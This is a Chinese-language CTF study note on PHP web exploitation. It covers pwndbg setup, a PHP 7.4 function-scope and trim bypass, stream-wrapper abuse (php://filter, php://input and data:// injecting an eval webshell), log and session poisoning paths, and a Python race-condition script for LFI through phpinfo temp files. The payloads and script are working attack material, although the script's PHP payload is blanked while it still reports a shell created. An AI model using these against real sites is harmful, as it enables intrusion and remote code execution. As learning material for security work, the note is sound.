一.调试方法
1.pwndbg调试
Pwndbg 是一款专为 二进制漏洞挖掘、CTF Pwn 竞赛、逆向分析 打造的 GDB 增强插件,它在原生 GDB 的基础上做了极致的优化和功能扩展。
安装pwddbg(推荐Kali Linux/ubuntu 20.04+),一条命令直接搞定,安装完成后,直接在终端输入 gdb 即可启动带 pwndbg 插件的调试器,无需额外配置!
bash
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh
编译待调试的二进制程序,调试 Pwn 题 / 自己编写的 C 程序时,必须关闭编译器的优化 + 开启调试符号,否则调试时看不到变量、函数名、行号,汇编代码也会被优化得面目全非
bash
# 编译32位程序(需先安装32位依赖:sudo apt install gcc-multilib g++-multilib)
gcc -m32 -g -o pwn pwn.c -fno-stack-protector -z execstack -no-pie
# 编译64位程序
gcc -g -o pwn pwn.c -fno-stack-protector -z execstack -no-pie
安装完成后验证
bash
$ gdb -q
pwndbg: loaded 183 pwndbg commands and 42 shell commands. Type pwndbg> filter or pwndbg> set-quiet on to reduce startup noise.
pwndbg>
核心启动方式:本地 gdb ./pwn、远程 target remote IP:PORT;
高频命令:r/c/n/s/fi(原生) + vmmap/heap/stack/context/got/plt(pwndbg 专属);
调试灵魂:断点 b + 内存查看 vmmap/x + 寄存器 regs。
2.vscode直接调试
vscode直接在插件库下载相应的调试插件即可
插件名称:C/C++ (微软官方出品,作者是 Microsoft)
这个插件可以无缝衔接你之前的 pwndbg/gdb,VSCode 图形化调试本质就是「GDB 的可视化前端」
二.题目解答--PHP7.4 函数编译的作用域差异漏洞 + trim 过滤绕过

1.问题:
if语句里的条件sha256加密,根本无法满足!!永远不会执行到readflag()的函数声明代码,所以用name=readflag调用必报错。
2.解答思路:
第一先看看函数编译的「作用域差异」---PHP 编译函数时,会根据函数定义是否在「顶级作用域」(不在任何条件 / 循环 / 函数内),生成不同的函数名存入全局函数表,这是本题能绕过 if 校验的核心。
例子 1:顶级作用域函数
php
<?php
// 顶级作用域(不在任何条件/循环内)
function viewsource() { show_source(__FILE__); }
?>
PHP 直接将函数名 viewsource 存入函数表,调用时用 viewsource() 或 $name="viewsource"; $name() 即可正常触发,无额外拼接。
例子 2:非顶级作用域函数(本题的 readflag)
php
<?php
if (false) { // 条件语句内,非顶级作用域
function readflag() { echo 'flag'; }
}
?>
即使 if 条件为 false(永远不执行函数声明代码),PHP 在编译阶段仍会处理这个函数:
不会用原函数名 readflag 存表,而是生成一个「特殊函数名」;
特殊函数名格式:\0 + 原函数名 + 文件绝对路径 + : + 函数起始行号 + $ + 计数器(计数 器从 0 开始,每次访问文件自增 1)。
本题文件路径为 /var/www/html/ctf.php,readflag 定义在第 8 行(对应题干代码行号),则编译后存入函数表的特殊函数名为:\0readflag/var/www/html/ctf.php:8$0(\0 是不可见的空字符)
第二:题干中 $name = trim($_REQUEST['name'] ?? 'viewsource');,trim 会过滤字符串首尾的「空白字符」,包括 \0(空字符)、空格、换行等。
如何解决??
问题: 我们要调用的特殊函数名以 \0 开头,若直接传 \0readflag/var/www/html/ctf.php:8$0,trim 会删掉开头的 \0,变成 readflag/var/www/html/ctf.php:8$0,无法匹配函数表中的名字,调用失败。
绕过依据: PHP 动态调用函数($name())时,若函数名以 \(反斜杠)开头,会自动去掉这个 \ 再去函数表查找(本质是处理根命名空间,比如 \phpinfo() 和 phpinfo() 等价)。
构造最终 payload
因 \0 会被 trim 过滤,需在前面加 \,同时将 \0 编码为 %00(URL 传参时的标准编码),最终 payload 格式:name=\%00readflag/var/www/html/ctf.php:8$0
一句话总结(结合例子)
无需管 password 校验,利用 PHP7.4 把 if 里的 readflag 编译成 \0readflag/路径:行号$0 的特性,用 \ 抵消 trim 对 \0 的过滤,传构造好的名字就能直接调用隐藏函数拿 flag。
三.PHP伪协议
PHP 伪协议核心配置:
allow_url_fopen = On/Off ------> 是否允许 PHP 打开远程文件 / 使用封装协议 ,针对file_get_contents()、fopen()等读取类函数生效
allow_url_include = On/Off ------>是否允许 PHP 在文件包含函数 中使用远程文件 / 封装协议,针对include、require、include_once、require_once生效
disable_functions = xxx ---->禁用指定的 PHP 函数,比如禁用php://input常用的file_put_contents,禁用system等命令执行函数
1.php://filter- 万能读取伪协议
不受allow_url_include影响,仅需要allow_url_fopen=On
完整语法:
bash
# 格式1:核心完整版(推荐,必背)
php://filter/read=convert.base64-encode/resource=文件路径
# 格式2:简写版(部分环境支持)
php://filter/convert.base64-encode/resource=文件路径
读取当前目录的 php 源码
php
// 题目代码
<?php
$file = $_GET['file'];
include($file);
?>
// 构造payload读取index.php源码
?file=php://filter/read=convert.base64-encode/resource=index.php
返回一串 base64 编码,解码后就是index.php的完整源码,不会被 PHP 解析!
2. php://input - 输入流伪协议
读取 POST 请求体中的所有数据,可以把 POST 的数据当作「文件内容」来处理,相当于「从 POST 传参里读取文件内容」。
语法格式:
php
php://input # 无参数,固定格式
写一句话木马
php
// 题目代码
<?php
$file = $_GET['file'];
include($file); // 文件包含函数
?>
// GET传参:
?file=php://input
// POST传参(请求体里写木马):
<?php eval($_POST['cmd']);?>
执行后,服务器会把 POST 的木马代码当作文件内容包含执行,成功植入一句话木马,之后用蚁剑 / 菜刀连接即可。
3. file:// - 本地文件协议
读取本地文件系统中的文件,是 PHP 默认的本地文件访问协议,相当于「直接访问文件路径」
语法格式
php
file://文件绝对路径/文件名
4. data:// - 数据流伪协议
将指定的数据当作文件内容来处理,可以直接在 URL 中嵌入「文件内容」,无需读取本地文件,相当于「凭空创造一个文件」。
语法格式
cpp
# 格式1:纯文本格式(直接传内容)
data://text/plain,内容
# 格式2:base64编码格式(推荐,绕过过滤最佳)
data://text/plain;base64,base64编码后的内容
执行一句话木马
php
// 题目代码
<?php
$file = $_GET['file'];
include($file);
?>
// 构造payload(base64编码版,推荐)
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
5.php://output - 输出流伪协议
将数据写入到 PHP 的输出缓冲区,相当于echo/print,一般配合filter使用,比如将文件内容编码后输出
语法:php://filter/write=convert.base64-decode/resource=php://output
6.zip:// & bz2:// & zlib:// - 压缩包伪协议
读取压缩包内的文件 ,无需解压,直接包含压缩包中的 PHP 文件,绕过文件上传的后缀过滤(比如只允许上传 zip 文件)。
语法格式
XML
# zip:// 格式(必须是绝对路径,压缩包内文件路径)
zip://压缩包绝对路径%23压缩包内的文件名
# 例子
zip:///var/www/html/shell.zip%23shell.php
四.文件包含漏洞
什么是文件包含漏洞??
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
1.包含日志文件
文件包含日志漏洞 = PHP本地文件包含漏洞(LFI) + Web服务日志文件被写入恶意代码 + 包含日志文件执行恶意代码
我们把PHP 一句话木马 / 恶意代码 ,通过 HTTP 请求写入到服务器的Web 服务日志文件 中,再利用文件包含漏洞,直接include这个日志文件,让日志里的 PHP 代码被执行,最终拿到 shell / 读取 flag。
漏洞成立的3 个必要条件:
存在「本地文件包含漏洞」,Web 服务的「日志文件路径已知 / 可猜」,日志文件「有读取权限」
我们可以在「任意一个请求头 / 请求参数」中,写入我们准备好的 PHP 恶意代码,Web 服务会把这段代码「原封不动」的写入到日志文件中。
举个最简单的例子:我在浏览器访问目标网站时,把请求头
User-Agent的值改成<?php eval($_POST['cmd']);?>,那么服务器的日志里,就会多出一行记录包含这个一句话木马。
日志的【默认绝对路径】
Nginx 日志路径
XML
# 主访问日志
/var/log/nginx/access.log
# 错误日志(偶尔用)
/var/log/nginx/error.log
Apache 日志路径
XML
# 主访问日志(必背)
/var/log/apache2/access.log
# 错误日志
/var/log/apache2/error.log
# 备用路径(部分Ubuntu/Debian)
/var/log/httpd/access_log
2.包含session
Session包含漏洞 = PHP本地文件包含漏洞(LFI) + PHP的Session文件中被写入恶意PHP代码 + 包含Session文件执行恶意代码
PHP 会把用户的Session 会话数据 ,自动写入服务器的本地 Session 文件 中;我们把PHP 一句话木马 / 恶意代码 ,通过可控参数写入到 Session 数据里,PHP 会自动同步到服务器的 Session 文件;最后利用文件包含漏洞,直接include这个 Session 文件,让里面的 PHP 代码被执行,拿到 shell/flag。
漏洞成立的3 个必要条件
存在「本地文件包含漏洞」,PHP 的 Session 会话中,存在**可控的输入点,**服务器的「Session 文件路径已知 / 可猜」+「文件名可预测」
Session 文件的【默认绝对路径】
XML
# 优先级1:
/var/lib/php/sessions/
# 优先级2:第二常用,部分Ubuntu/Debian系统(必背!)
/tmp/
# 优先级3:备用路径,极少数环境
/var/tmp/
Session 文件的【文件名规则】
sess_+你的PHPSESSID的值
举例:
如果你的浏览器 Cookie 中 PHPSESSID=abc123def,那么对应的 Session 文件就是:
/var/lib/php/sessions/sess_abc123def
3.包含临时文件
临时文件包含漏洞 利用的是 PHP 处理 HTTP 请求时的机制缺陷 :当 PHP 处理上传文件的请求时,会先将上传的文件保存到系统的 临时目录 中,生成一个 临时文件 ,文件名由 PHP 随机生成;脚本处理完请求后(比如验证后缀失败),会立即删除这个临时文件。
攻击原理:
我们在文件被 删除之前的极短瞬间 ,利用文件包含漏洞,快速包含并执行 这个临时文件中的恶意代码。
题目:PHP7
php
index.php
```text
<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>
```
dir.php
```text
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
```
唯一解法:条件竞争
利用 CPU 多核并发,同时发起大量的「上传请求」和「包含请求」,在海量的尝试中,总会有一次请求,包含操作发生在删除操作之前,从而命中!
脚本:
python
#!/usr/bin/python
import sys
import threading
import socket
import time
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php ?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i + 17:i + 44]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()